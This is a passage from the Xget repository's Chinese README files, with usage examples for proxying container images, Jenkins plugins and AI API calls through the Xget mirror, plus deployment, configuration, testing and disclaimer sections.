stages { stage('Check Plugin Availability') { steps { script { // 检查 Maven 插件可用性 def pluginUrl = "https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi" try { def response = httpRequest url: pluginUrl, httpMode: 'HEAD' if (response.status == 200) { echo "Maven 插件可用: ${pluginUrl}" } } catch (Exception e) { error "Maven 插件不可用: ${e.message}" } } } } stage('Build') { steps { // 你的构建步骤 echo "使用加速后的插件进行构建..." } } } } ``` ### 容器镜像加速 #### 直接拉取镜像 ```bash # 拉取 GitHub 容器注册表镜像 docker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest # 拉取谷歌容器注册表镜像 docker pull xget.xi-xu.me/cr/gcr/distroless/base:latest # 拉取微软容器注册表镜像 docker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 ``` #### Kubernetes 部署配置 ```yaml # deployment.yaml - 使用 Xget 的镜像 apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ports: - containerPort: 80 - name: redis image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine ports: - containerPort: 6379 ``` #### Docker Compose 配置 ```yaml # docker-compose.yml - 使用 Xget 加速镜像 version: '3.8' services: web: image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ports: - '80:80' volumes: - ./html:/usr/share/nginx/html database: image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest environment: ACCEPT_EULA: Y SA_PASSWORD: 'MyStrongPassword123!' volumes: - mssql_data:/var/opt/mssql cache: image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine ports: - '6379:6379' volumes: mssql_data: ``` #### Dockerfile 优化 ```dockerfile # 在 Dockerfile 中使用 Xget 加速基础镜像 FROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder WORKDIR /app COPY package*.json ./ RUN npm install COPY . . RUN npm run build # 生产阶段 FROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest COPY --from=builder /app/dist /usr/share/nginx/html # 使用微软容器注册表的 .NET 镜像 FROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime WORKDIR /app COPY --from=builder /app/publish . ENTRYPOINT ["dotnet", "MyApp.dll"] ``` #### CI/CD 集成 ```yaml # GitHub Actions - 使用 Xget 加速容器构建 name: Build and Deploy on: [push] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Build with accelerated base images run: | # 构建时使用 Xget 的基础镜像 docker build -t myapp:latest \ --build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine . - name: Test with accelerated images run: | # 使用加速镜像进行测试 docker run --rm \ xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \ dotnet --version ``` #### Podman 配置 ```bash # 配置 Podman 使用 Xget 镜像加速 # 编辑 /etc/containers/registries.conf [[registry]] prefix = "ghcr.io" location = "xget.xi-xu.me/cr/ghcr" # 或者直接拉取 podman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest podman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ``` #### containerd 配置 ```toml # 配置 containerd 使用 Xget # 编辑 /etc/containerd/config.toml [plugins."io.containerd.grpc.v1.cri".registry.mirrors] [plugins."io.containerd.grpc.v1.cri".registry.mirrors."ghcr.io"] endpoint = ["https://xget.xi-xu.me/cr/ghcr"] [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] endpoint = ["https://xget.xi-xu.me/cr/gcr"] ``` ```bash # 重启 containerd sudo systemctl restart containerd ``` ### AI 推理 API 加速 #### OpenAI API ```python from openai import OpenAI client = OpenAI( api_key="your-api-key", base_url="https://xget.xi-xu.me/ip/openai/v1", # 使用 Xget ) response = client.responses.create( model="gpt-5.1", input="Hello, GPT!", ) print(response.output_text) ``` #### Claude API ```python from anthropic import Anthropic client = Anthropic( api_key="your-api-key", base_url="https://xget.xi-xu.me/ip/anthropic", # 使用 Xget ) message = client.messages.create( model="claude-sonnet-4-5", max_tokens=256, messages=[ { "role": "user", "content": "Hello, Claude!", } ], ) print(message.content[0].text) ``` #### Gemini API ```python from google import genai from google.genai import types client = genai.Client( api_key="your-api-key", http_options=types.HttpOptions(base_url="https://xget.xi-xu.me/ip/gemini"), # 使用 Xget ) response = client.models.generate_content( model="gemini-3-pro-preview", contents="Hello, Gemini!", ) print(response.text) ``` #### 多提供商统一接口 ```python from openai import OpenAI providers = [ ("Cohere", "your-cohere-api-key", "/cohere/compatibility/v1", "command-a-03-2025"), ("Mistral", "your-mistral-api-key", "/mistralai/v1", "mistral-medium-latest"), ("xAI", "your-xai-api-key", "/xai/v1", "grok-4"), ] for name, key, path, model in providers: client = OpenAI(api_key=key, base_url="https://xget.xi-xu.me/ip" + path) # 使用 Xget response = client.chat.completions.create( model=model, messages=[{"role": "user", "content": f"Hello, who are you?"}], ) print(name, "=>", response.choices[0].message.content) ``` #### JavaScript/Node.js 中使用 ```javascript // OpenAI API 加速 import OpenAI from 'openai'; const openaiClient = new OpenAI({ apiKey: 'your-openai-api-key', baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // 使用 Xget }); async function chatWithGPT() { const response = await openaiClient.responses.create({ model: 'gpt-5.1', input: 'Hello, GPT!' }); console.log(response.output_text); } // Claude API 加速 import Anthropic from '@anthropic-ai/sdk'; const anthropicClient = new Anthropic({ apiKey: 'your-claude-api-key', baseURL: 'https://xget.xi-xu.me/ip/anthropic' // 使用 Xget }); async function chatWithClaude() { const message = await anthropicClient.messages.create({ model: 'claude-sonnet-4-5', max_tokens: 256, messages: [ { role: 'user', content: 'Hello, Claude!' } ] }); console.log(message.content[0].text); } // Gemini API 加速 import { GoogleGenAI } from '@google/genai'; const geminiClient = new GoogleGenAI({ apiKey: 'your-gemini-api-key' }); async function chatWithGemini() { const response = await geminiClient.models.generateContent({ model: 'gemini-3-pro-preview', contents: 'Hello, Gemini!', config: { httpOptions: { baseUrl: 'https://xget.xi-xu.me/ip/gemini' // 使用 Xget } } }); console.log(response.text); } ``` #### 环境变量配置 ```bash # 在 .env 文件中配置 OPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai ANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic GEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini COHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere MISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai GROQ_BASE_URL=https://xget.xi-xu.me/ip/groq ``` 然后在代码中使用: ```python import os from openai import OpenAI # 从环境变量读取配置 client = OpenAI( api_key=os.getenv("OPENAI_API_KEY"), base_url=os.getenv("OPENAI_BASE_URL") # 自动使用 Xget ) ``` ## 🚀 部署 ### 部署到 Cloudflare Workers 1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **获取 Cloudflare 凭证**: - 访问[账户 API 令牌](https://dash.cloudflare.com/?to=/:account/api-tokens)创建并记录 API 令牌,使用“编辑 Cloudflare Workers”模板 - 访问 [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages) 记录 Account ID 3. **配置 GitHub Secrets**: - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions - 添加以下 secrets: - `CLOUDFLARE_API_TOKEN`:你的 API 令牌 - `CLOUDFLARE_ACCOUNT_ID`:你的 Account ID 4. **触发部署**: - 推送代码到 `main` 分支会自动触发部署 - 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署 - 也可以在 GitHub Actions 页面手动触发部署 5. **绑定自定义域名**(可选):在 Cloudflare Workers 控制台中绑定你的自定义域名 ### 部署到 Cloudflare Pages 1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **获取 Cloudflare 凭证**: - 访问[账户 API 令牌](https://dash.cloudflare.com/?to=/:account/api-tokens)创建并记录 API 令牌,使用“编辑 Cloudflare Workers”模板 - 访问 [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages) 记录 Account ID 3. **配置 GitHub Secrets**: - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions - 添加以下 secrets: - `CLOUDFLARE_API_TOKEN`:你的 API 令牌 - `CLOUDFLARE_ACCOUNT_ID`:你的 Account ID 4. **触发部署**: - 存储库会自动将 Workers 代码转换为 Pages 兼容格式并同步到 `pages` 分支 - 推送代码到 `main` 分支会自动触发同步和部署工作流 - 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署 - 也可以在 GitHub Actions 页面手动触发部署 5. **绑定自定义域名**(可选):在 Cloudflare Pages 控制台中绑定你的自定义域名 **注意**:`pages` 分支是从 `main` 分支自动生成的。请勿手动编辑 `pages` 分支,因为它会被同步工作流覆盖。 ### 部署到 EdgeOne Pages 1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **获取 EdgeOne Pages API Token**: - 访问[中国站 EdgeOne 控制台](https://console.cloud.tencent.com/edgeone/pages?tab=api)或[国际站 EdgeOne 控制台](https://console.tencentcloud.com/edgeone/pages?tab=api)创建并记录 API Token 3. **配置 GitHub Secrets**: - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions - 添加以下 secret: - `EDGEONE_API_TOKEN`:你的 API Token 4. **触发部署**: - 存储库会自动将 Workers 代码转换为 Pages 兼容格式并同步到 `pages` 分支 - 推送代码到 `main` 分支会自动触发同步和部署工作流 - 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署 - 也可以在 GitHub Actions 页面手动触发部署 5. **绑定自定义域名**(可选):在 EdgeOne Pages 控制台中绑定你的自定义域名 **注意**:`pages` 分支是从 `main` 分支自动生成的。请勿手动编辑 `pages` 分支,因为它会被同步工作流覆盖。 ### 部署到 Vercel 1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **获取 Vercel 凭证**: - 访问 [Vercel Account Settings](https://vercel.com/account/settings/tokens) 创建并记录 Access Token - 访问 Team Settings 记录 Team ID - 新建项目后访问项目的 Settings 记录 Project ID 3. **配置 GitHub Secrets**: - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions - 添加以下 secrets: - `VERCEL_TOKEN`:你的 Access Token - `VERCEL_ORG_ID`:你的 Team ID - `VERCEL_PROJECT_ID`:你的 Project ID 4. **触发部署**: - 存储库会自动将 Workers 代码转换为 Functions 兼容格式并同步到 `functions` 分支 - 推送代码到 `main` 分支会自动触发同步和部署工作流 - 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署 - 也可以在 GitHub Actions 页面手动触发部署 5. **绑定自定义域名**(可选):在 Vercel 控制台中绑定你的自定义域名 **注意**:`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions` 分支,因为它会被同步工作流覆盖。 ### 部署到 Netlify 1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **获取 Netlify 凭证**: - 访问 [Netlify User Settings](https://app.netlify.com/user/applications) 创建并记录 personal access token - 新建项目后访问 Project configuration 记录 Project ID 3. **配置 GitHub Secrets**: - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions - 添加以下 secrets: - `NETLIFY_AUTH_TOKEN`:你的 personal access token - `NETLIFY_SITE_ID`:你的 Project ID 4. **触发部署**: - 存储库会自动将 Workers 代码转换为 Functions 兼容格式并同步到 `functions` 分支 - 推送代码到 `main` 分支会自动触发同步和部署工作流 - 仅修改文档文件(`.md`)、`LICENSE`、`.gitignore` 等不会触发部署 - 也可以在 GitHub Actions 页面手动触发部署 5. **绑定自定义域名**(可选):在 Netlify 控制台中绑定你的自定义域名 **注意**:`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions` 分支,因为它会被同步工作流覆盖。 ### 部署到 Deno Deploy 1. **fork 本存储库**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **切换默认分支**: - 进入你的 GitHub 存储库 → Settings → General → Default branch - 将默认分支从 `main` 切换到 `functions` 3. **部署到 Deno Deploy**: - 参考 [Deno Deploy 官方文档](https://docs.deno.com/deploy/getting_started/)执行部署 - 在 Deno Deploy 控制台创建新项目并连接你的 GitHub 存储库 4. **绑定自定义域名**(可选):在 Deno Deploy 控制台中绑定你的自定义域名 **注意**:`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions` 分支,因为它会被同步工作流覆盖。 ### 自托管部署 如果你希望在自己的服务器上运行 Xget,可以使用 Docker 或 Podman 部署: #### 使用预构建镜像 从 GitHub Container Registry 拉取并运行预构建的镜像: **使用 Docker:** ```bash # 拉取最新镜像 docker pull ghcr.io/xixu-me/xget:latest # 运行容器 docker run -d \ --name xget \ -p 8080:8080 \ ghcr.io/xixu-me/xget:latest ``` **使用 Podman:** ```bash # 拉取最新镜像 podman pull ghcr.io/xixu-me/xget:latest # 运行容器 podman run -d \ --name xget \ -p 8080:8080 \ ghcr.io/xixu-me/xget:latest ``` #### 本地构建 从源码构建容器镜像: **使用 Docker:** ```bash # 克隆存储库 git clone https://github.com/xixu-me/Xget.git cd Xget # 构建镜像 docker build -t xget:local . # 运行容器 docker run -d \ --name xget \ -p 8080:8080 \ xget:local ``` **使用 Podman:** ```bash # 克隆存储库 git clone https://github.com/xixu-me/Xget.git cd Xget # 构建镜像 podman build -t xget:local . # 运行容器 podman run -d \ --name xget \ -p 8080:8080 \ xget:local ``` #### 使用 Docker Compose / Podman Compose 创建 `docker-compose.yml` 文件: ```yaml version: '3.8' services: xget: image: ghcr.io/xixu-me/xget:latest container_name: xget ports: - '8080:8080' restart: unless-stopped ``` **使用 Docker Compose:** ```bash docker compose up -d ``` **使用 Podman Compose:** ```bash podman compose up -d ``` 部署完成后,Xget 将在 8080 端口运行。 如果你希望在 DigitalOcean 上部署和运行 Xget,可以参考文档[《Deploying and Optimizing Xget on DigitalOcean》](docs/deploy-on-digitalocean.md)。通过下方推荐链接注册账户,可获得 200 美元代金券积分,可用于创建 Droplet、Kubernetes、App Platform 等资源:

**注意**:自托管部署不包括全球边缘网络加速,性能取决于你的服务器配置和网络环境。 ## 🔧 配置 ### 配置参数 你可以通过修改 `src/config/index.js` 来自定义配置: ```javascript export const CONFIG = { TIMEOUT_SECONDS: 30, // 请求超时时间(秒) MAX_RETRIES: 3, // 最大重试次数 RETRY_DELAY_MS: 1000, // 重试延迟时间(毫秒) CACHE_DURATION: 1800, // 缓存持续时间(1800秒 = 30分钟) SECURITY: { ALLOWED_METHODS: ['GET', 'HEAD'], // 常规请求的基础允许列表;协议流量内置了更宽的允许范围 ALLOWED_ORIGINS: ['*'], // 允许的 CORS 源 MAX_PATH_LENGTH: 2048 // 最大路径长度(字符) } }; ``` ### 性能调优建议 - **缓存优化**:根据使用模式调整 `CACHE_DURATION`,频繁更新的存储库可适当降低 - **超时设置**:网络条件较差时可适当增加 `TIMEOUT_SECONDS` - **重试策略**:高延迟环境下可增加 `MAX_RETRIES` 和 `RETRY_DELAY_MS` ### 添加新平台 要添加对新平台的支持,请更新平台目录;如果需要特殊路径转换,再补充转换器: ```javascript // src/config/platform-catalog.js export const PLATFORM_CATALOG = { // 现有平台... custom: 'https://example.com' }; // src/routing/platform-transformers.js const PLATFORM_PATH_TRANSFORMERS = { custom: path => path.replace(/^\/custom\//, '/') }; ``` ## 🚧 开发 1. **存储库设置** ```bash git clone https://github.com/xixu-me/Xget.git cd Xget npm install npx wrangler login # 首次使用 ``` 2. **本地开发** ```bash npm run dev # 启动开发服务器 (http://localhost:8787) npm run test:run # 运行完整测试套件 npm run test:coverage # 生成测试覆盖率报告 npm run lint # 代码检查 npm run format # 代码格式化 npm run deploy # 部署到生产 ``` ## 🧪 测试 存储库包含完整的测试套件,确保代码质量和功能正确性。 ### 完整测试 ```bash # 安装测试依赖 npm install # 运行所有测试 npm run test:run # 生成覆盖率报告 npm run test:coverage # 监视模式 npm run test:watch ``` ### 测试覆盖 - **单元测试**: 核心功能、平台配置、性能监控 - **集成测试**: 端到端流程、平台集成、Git 协议 - **安全测试**: 输入验证、安全头、权限控制 - **性能测试**: 响应时间、内存使用、并发处理 ## 🔍 故障排除 ### 常见问题 **Q: 下载速度没有明显提升?** A: 检查源文件是否已经在 CDN 边缘节点缓存,首次访问可能较慢,后续访问会显著提升。 **Q: Git 操作失败?** A: 确认使用了正确的 URL 格式,且 Git 客户端版本支持 HTTPS 代理。 **Q: 部署后无法访问?** A: 检查 Cloudflare Workers 域名是否正确绑定,确认 `wrangler.toml` 配置正确。 **Q: 出现 400 错误?** A: 检查 URL 路径格式,确认平台前缀正确使用。 ### 性能监控 在响应头中返回性能指标: - `X-Performance-Metrics`: 包含请求各阶段的耗时统计 - `X-Cache-Status`: 显示缓存命中状态 ### 日志调试 在开发环境中,你可以通过 Cloudflare Workers 控制台查看详细日志: ```bash npx wrangler dev --log-level debug ``` ## ⚠️ 免责声明 - **合法合规使用**:本存储库旨在为代码存储库、软件包注册表、AI 推理 API、容器镜像、模型、数据集及更多合法开发者资源提供统一加速服务。使用者应严格遵守所在司法辖区法律法规及相关平台服务条款,任何非法用途的法律责任由使用者自行承担 - **非关联性与独立责任**:本存储库与各第三方平台不存在任何隶属、代理或合作关系。任何基于本存储库的 fork、二次开发、再分发或衍生版本均由其维护者独立承担全部责任;作者、维护者及贡献者不对衍生存储库的任何行为或后果承担法律或连带责任 - **无担保与免责条款**:在适用法律允许的最大范围内,本存储库按“现状(AS IS)”提供,不提供任何明示或暗示担保(包括但不限于适销性、特定用途适用性、非侵权等)。对因使用本存储库而造成的任何直接或间接损失(包括但不限于数据丢失、业务中断、利润损失等),作者、维护者及贡献者不承担任何责任 - **风险自担原则**:使用者应自行评估使用风险,确保其使用行为合法合规,不侵犯第三方权益,不得将本存储库用于任何违法、侵权、恶意或不当用途 - **第三方平台合规**:使用者应遵守相关平台的服务条款、API 使用政策、速率限制及版权要求,避免对源平台造成过载或干扰。各平台对其内容、服务及政策拥有最终解释权 - **知识产权保护**:通过本存储库获取的内容受相应版权法保护。使用者应遵守相关许可协议、版权声明及使用条款,不得从事任何侵犯知识产权的行为 - **安全防护建议**:虽然本存储库采用无日志架构,不存储用户请求数据,但基于互联网传输的固有风险,建议使用者对下载内容进行安全扫描,尤其对可执行文件、脚本等保持谨慎 - **开源性质声明**:本存储库为开源项目,作者与贡献者不承担提供技术支持、错误修复或持续维护的义务。外部贡献的合并不代表对特定用途或效果的承诺与背书 - **名称使用规范**:严禁任何可能暗示作者或贡献者提供商业合作、技术支持、担保或背书的表述。涉及存储库名称或作者标识的使用应遵循相关法律法规及通用规范 - **免责声明更新**:本免责声明可能随存储库发展或法律环境变化进行更新修订。使用者继续使用、复制、分发或修改本存储库即视为接受最新版本的免责声明 ## 🤝 贡献 我们欢迎各种形式的贡献!请查看[贡献指南](CONTRIBUTING.md)了解如何参与存储库开发。 1. **报告问题**: 使用 [issue 模板](https://github.com/xixu-me/Xget/issues/new/choose)报告 bug 或提出功能请求 2. **提交代码**: fork 存储库,创建功能分支,提交 pull request 3. **改进文档**: 修正错误、添加示例、完善说明 4. **测试反馈**: 在不同环境下测试并提供反馈 ## 🌟 Star 历史 Star History Chart ## 📝 许可证 版权所有 © Xi Xu。 本存储库采用 AGPL-3.0 许可证 - 查看 [LICENSE](LICENSE) 文件了解详情。 ---
**如果这个存储库对您有帮助,请考虑给它一个 ⭐ star!** Made with ❤️ by [Xi Xu](https://xi-xu.me)
================================================ FILE: README.zh-Hant.md ================================================
# Xget 🚀 xixu-me%2FXget | Trendshift [![Ask Zread](https://img.shields.io/badge/Ask_Zread-_.svg?style=flat&color=00b0aa&labelColor=000000&logo=data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTQuOTYxNTYgMS42MDAxSDIuMjQxNTZDMS44ODgxIDEuNjAwMSAxLjYwMTU2IDEuODg2NjQgMS42MDE1NiAyLjI0MDFWNC45NjAxQzEuNjAxNTYgNS4zMTM1NiAxLjg4ODEgNS42MDAxIDIuMjQxNTYgNS42MDAxSDQuOTYxNTZDNS4zMTUwMiA1LjYwMDEgNS42MDE1NiA1LjMxMzU2IDUuNjAxNTYgNC45NjAxVjIuMjQwMUM1LjYwMTU2IDEuODg2NjQgNS4zMTUwMiAxLjYwMDEgNC45NjE1NiAxLjYwMDFaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00Ljk2MTU2IDEwLjM5OTlIMi4yNDE1NkMxLjg4ODEgMTAuMzk5OSAxLjYwMTU2IDEwLjY4NjQgMS42MDE1NiAxMS4wMzk5VjEzLjc1OTlDMS42MDE1NiAxNC4xMTM0IDEuODg4MSAxNC4zOTk5IDIuMjQxNTYgMTQuMzk5OUg0Ljk2MTU2QzUuMzE1MDIgMTQuMzk5OSA1LjYwMTU2IDE0LjExMzQgNS42MDE1NiAxMy43NTk5VjExLjAzOTlDNS42MDE1NiAxMC42ODY0IDUuMzE1MDIgMTAuMzk5OSA0Ljk2MTU2IDEwLjM5OTlaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik0xMy43NTg0IDEuNjAwMUgxMS4wMzg0QzEwLjY4NSAxLjYwMDEgMTAuMzk4NCAxLjg4NjY0IDEwLjM5ODQgMi4yNDAxVjQuOTYwMUMxMC4zOTg0IDUuMzEzNTYgMTAuNjg1IDUuNjAwMSAxMS4wMzg0IDUuNjAwMUgxMy43NTg0QzE0LjExMTkgNS42MDAxIDE0LjM5ODQgNS4zMTM1NiAxNC4zOTg0IDQuOTYwMVYyLjI0MDFDMTQuMzk4NCAxLjg4NjY0IDE0LjExMTkgMS42MDAxIDEzLjc1ODQgMS42MDAxWiIgZmlsbD0iI2ZmZiIvPgo8cGF0aCBkPSJNNCAxMkwxMiA0TDQgMTJaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00IDEyTDEyIDQiIHN0cm9rZT0iI2ZmZiIgc3Ryb2tlLXdpZHRoPSIxLjUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPgo8L3N2Zz4K&logoColor=ffffff)](https://zread.ai/xixu-me/Xget) [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/xixu-me/Xget) [![codecov](https://codecov.io/github/xixu-me/xget/graph/badge.svg?token=KDFMG9YX8G)](https://codecov.io/github/xixu-me/xget) [![Chromium](https://img.shields.io/badge/Chromium-4285F4?logo=googlechrome&logoColor=white)](#-生態系統整合) [![Firefox](https://img.shields.io/badge/Firefox-FF7139?logo=Firefox&logoColor=white)](#-生態系統整合) [![Cloudflare](https://img.shields.io/badge/Cloudflare-F38020?&logo=cloudflare&logoColor=white)](#部署到-cloudflare-workers) [![EdgeOne](https://img.shields.io/badge/EdgeOne-006EFF?&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAYAAAByDd+UAAACNklEQVR4nJ1W7XHbMAx96ul/lQnCDapOUG3gdIIkG6QjdINOUGeDNhNYmUDuBHIWiNQF/PqDYAxDoMUGdzx+AXgAAQGqSKKAOgAbma8BXMn5DGAv4wlAv6qJ5KVxR3LkOR3NWu9HkcnqzF0EkoMDcsysLd8oOooAb0lOF7wqpYnkzRrgZkVJ8mp0jLFzotscYOC6ZyNjjLbOnTZI7weSjQc4ZoQmkjuSneIdMoADyR9iVKuB0qglWYOT0n9Uys/qPAD4ZHgfAXwzfO/6LLyxcTxbJEdufFi1aEk32l6Z+1Lhep1lQa1aVwI2O3wBsTIFxOoUADzVspgzQp6S1pztATRyvpG5lTNLTUVykssJwF91OQP4bATuAGzVngBexJD0vJW51/u5VpZc4VSUgViMLX1xlIUCoERNLoYE8Ns579S6chTngGYZh1oWjRGoEGOjKSAGP/HovqblDoiJtAfwLPv5xHnqCrbNeK3K8qX9juQDMx3CVpoesXLop7DeATF+2rsKsbo8oizD3zzsjLWk30RHw7N7R5V68/AgMUpeWg9bLLOxL/AniOw1Yp58t/FZi5+mzuFrJJY/Sb6qFzmmV9PMgzBsHUW/eN5gJwdk54Rm4YTXgHPx00p24qEGydFElb3e09nUbpXVuZ+oS/88Z62rJLMelHAJSDqf6LxWSXvS35/+Vr0SlqrPHsBXxOw/o5IGHDLKE4AucS8A7hG7zAIMACryv371WxkfxYhZFD8jFvt+TdE/deK28xBAUlEAAAAASUVORK5CYII=)](#部署到-edgeone-pages) [![Vercel](https://img.shields.io/badge/Vercel-000000?&logo=vercel&logoColor=white)](#部署到-vercel) [![Netlify](https://img.shields.io/badge/Netlify-00C7B7?&logo=netlify&logoColor=white)](#部署到-netlify) [![Deno](https://img.shields.io/badge/Deno-000000?&logo=deno&logoColor=white)](#部署到-deno-deploy) [![Docker](https://img.shields.io/badge/Docker-2496ED?&logo=docker&logoColor=white)](#自託管部署) [![Podman](https://img.shields.io/badge/Podman-892CA0?&logo=podman&logoColor=white)](#自託管部署) [English](README.md) | [汉语(简体)](README.zh-Hans.md) | **漢語(繁體)**
[![GitHub](https://img.shields.io/badge/GitHub-181717?&logo=github&logoColor=white)](#github) [![GitLab](https://img.shields.io/badge/GitLab-FC6D26?&logo=gitlab&logoColor=white)](#gitlab) [![Gitea](https://img.shields.io/badge/Gitea-609926?&logo=gitea&logoColor=white)](#gitea) [![Codeberg](https://img.shields.io/badge/Codeberg-2185D0?&logo=codeberg&logoColor=white)](#codeberg) [![SourceForge](https://img.shields.io/badge/SourceForge-FF6600?&logo=sourceforge&logoColor=white)](#sourceforge) [![AOSP](https://img.shields.io/badge/AOSP-3DDC84?&logo=android&logoColor=white)](#aosp-android-開源專案) [![Hugging Face](https://img.shields.io/badge/Hugging%20Face-FFD21E?&logo=huggingface&logoColor=black)](#hugging-face-鏡像) [![Civitai](https://img.shields.io/badge/Civitai-1971C2)](#civitai-ai-模型平台) [![npm](https://img.shields.io/badge/npm-CB3837?logo=npm&logoColor=white)](#npm-軟體包管理加速) [![PyPI](https://img.shields.io/badge/PyPI-3775A9?logo=pypi&logoColor=white)](#python-軟體包管理加速) [![conda](https://img.shields.io/badge/conda-44A833?logo=anaconda&logoColor=white)](#conda-軟體包管理加速) [![Maven](https://img.shields.io/badge/Maven-C71A36?logo=apachemaven&logoColor=white)](#maven-軟體包管理加速) [![Apache](https://img.shields.io/badge/Apache-D22128?logo=apache&logoColor=white)](#apache-軟體下載加速) [![Gradle](https://img.shields.io/badge/Gradle-02303A?logo=gradle&logoColor=white)](#gradle-軟體包管理加速) [![Homebrew](https://img.shields.io/badge/Homebrew-FBB040?logo=homebrew&logoColor=black)](#homebrew-軟體包管理加速) [![RubyGems](https://img.shields.io/badge/RubyGems-E9573F?logo=rubygems&logoColor=white)](#ruby-軟體包管理加速) [![CRAN](https://img.shields.io/badge/CRAN-276DC3?logo=r&logoColor=white)](#r-軟體包管理加速) [![CPAN](https://img.shields.io/badge/CPAN-0073A1?logo=perl&logoColor=white)](#perl-軟體包管理加速) [![CTAN](https://img.shields.io/badge/CTAN-008080?logo=latex&logoColor=white)](#texlatex-軟體包管理加速) [![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white)](#go-模組加速) [![NuGet](https://img.shields.io/badge/NuGet-004880?logo=nuget&logoColor=white)](#nuget-軟體包管理加速) [![Rust](https://img.shields.io/badge/Rust-000000?logo=rust&logoColor=white)](#rust-軟體包管理加速) [![Packagist](https://img.shields.io/badge/Packagist-F28D1A?logo=packagist&logoColor=white)](#php-軟體包管理加速) [![Flathub](https://img.shields.io/badge/Flathub-000000?logo=flathub&logoColor=white)](#flathub-儲存庫鏡像) [![Debian](https://img.shields.io/badge/Debian-A81D33?logo=debian&logoColor=white)](#debianubuntu-apt-配置) [![Ubuntu](https://img.shields.io/badge/Ubuntu-E95420?logo=ubuntu&logoColor=white)](#debianubuntu-apt-配置) [![Fedora](https://img.shields.io/badge/Fedora-51A2DA?logo=fedora&logoColor=white)](#fedora-dnf-配置) [![Rocky Linux](https://img.shields.io/badge/Rocky%20Linux-10B981?logo=rockylinux&logoColor=white)](#rocky-linux-dnf-配置) [![openSUSE](https://img.shields.io/badge/openSUSE-73BA25?logo=opensuse&logoColor=white)](#opensuse-zypper-配置) [![Arch Linux](https://img.shields.io/badge/Arch%20Linux-1793D1?logo=archlinux&logoColor=white)](#arch-linux-pacman-配置) [![arXiv](https://img.shields.io/badge/arXiv-B31B1B?logo=arxiv&logoColor=white)](#arxiv-論文下載) [![F-Droid](https://img.shields.io/badge/F--Droid-1976D2?logo=f-droid&logoColor=white)](#f-droid-儲存庫鏡像) [![Jenkins](https://img.shields.io/badge/Jenkins-D24939?logo=jenkins&logoColor=white)](#jenkins-外掛程式下載) [![容器註冊表](https://img.shields.io/badge/容器註冊表-262261?logo=opencontainersinitiative&logoColor=white)](#容器註冊表) [![AI 推理供應商](https://img.shields.io/badge/AI%20推理供應商-94A3B8?logo=openrouter&logoColor=white)](#ai-推理供應商) 面向開發者資源的超高效能、安全、一體化加速引擎,其效能顯著優於傳統解決方案,為程式碼儲存庫、模型和資料集中心、軟體包註冊表、容器註冊表、AI 推理供應商等提供統一、高效的加速。 技術深度解析文章已發布:**[《深入剖析 